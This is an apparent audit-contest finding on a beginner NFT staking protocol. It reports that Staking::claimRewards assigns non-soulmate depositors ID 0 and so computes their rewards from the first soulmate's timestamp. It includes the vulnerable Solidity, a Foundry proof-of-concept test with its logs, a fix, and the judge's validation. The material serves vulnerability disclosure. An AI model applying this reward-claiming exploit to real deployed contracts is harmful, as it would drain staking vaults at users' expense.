Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

A generic user claims the wrong rewards in ```Staking::claimRewards```

Summary

A generic user can use Staking::deposit function for staking loveToken and earn the rewards. It isn't necessary to be a soulmate to deposit the loveToken.

If a soulmate sends the loveToken to a generic user, this can be deposited into the Staking contract for earning rewards. The Staking::claimRewards function calculates the rewards starting to evaluate the ownerToId(msg.sender). The generic user hasn't an Id and the protocol assigns to him/her the value 0. But the Id = 0 is the id of the first soulmate. This leads to a wrong rewards calculation of the user.

This vulnerability is correlated to the reported vulnerability #4 "Staking::claimRewards Incorrect Calculation of Rewards Based on Soulmate Creation Time".

Vulnerability Details

function claimRewards() public {
@> uint256 soulmateId = soulmateContract.ownerToId(msg.sender);
// first claim
if (lastClaim[msg.sender] == 0) {
lastClaim[msg.sender] = soulmateContract.idToCreationTimestamp(
soulmateId
);
}
// How many weeks passed since the last claim.
// Thanks to round-down division, it will be the lower amount possible until a week has completly pass.
uint256 timeInWeeksSinceLastClaim = ((block.timestamp -
lastClaim[msg.sender]) / 1 weeks);
if (timeInWeeksSinceLastClaim < 1)
revert Staking__StakingPeriodTooShort();
lastClaim[msg.sender] = block.timestamp;
// Send the same amount of LoveToken as the week waited times the number of token staked
uint256 amountToClaim = userStakes[msg.sender] *
timeInWeeksSinceLastClaim;
loveToken.transferFrom(
address(stakingVault),
msg.sender,
amountToClaim
);
emit RewardsClaimed(msg.sender, amountToClaim);
}

Impact

function testWrongClaimRewardsForNotSoulmate() public {
address user = makeAddr("user");
uint256 userAmount = 10e18;
//Mint an NFT - 2 soulmates are reuinited
_mintOneTokenForBothSoulmates();
vm.startPrank(soulmate1);
console2.log("Soulmate1 Id is:", soulmateContract.ownerToId(soulmate1));
//Give love token to soulmate1
vm.warp(block.timestamp + 14 days);
airdropContract.claim();
uint256 solmate1Amount = loveToken.balanceOf(soulmate1);
console2.log("soulmate1 loveToken amount after airdrop claim", solmate1Amount);
//Soulmate1 sends some LoveToken to user3
loveToken.approve(address(this), userAmount);
loveToken.transfer(user, userAmount);
console2.log("User loveToken balance afer:", loveToken.balanceOf(user));
vm.stopPrank();
//User Deposit their token
vm.startPrank(user);
console2.log("User Id is:", soulmateContract.ownerToId(user));
loveToken.approve(address(stakingContract), userAmount);
stakingContract.deposit(userAmount);
//Claim
stakingContract.claimRewards();
assert(soulmateContract.ownerToId(user) == soulmateContract.ownerToId(soulmate1));
vm.stopPrank();
}
Running 1 test for test/unit/StakingTest.t.sol:StakingTest
[PASS] testWrongClaimRewardsForNotSoulmate() (gas: 451662)
Logs:
Soulmate1 Id is: 0
soulmate1 loveToken amount after airdrop claim 14000000000000000000
User loveToken balance afer: 10000000000000000000
User Id is: 0

Tools Used

Manual review

Recommendations

Modify the claimRewards function to use the deposit timestamp as the starting point for calculating rewards. Implement a mechanism to track the first deposit timestamp for each user and ensure that the lastClaim mapping is updated accordingly. Consider adding checks to prevent users from claiming rewards before making a deposit.

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-claimRewards-nft-0-lastClaim

High severity, as it allows any pending user to claim staking rewards without owning a soulmate NFT by - Obtaining love tokens on secondary markets - Transfer previously accrued love tokens via airdrops/rewards to another account and abusing the `deposit()` function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.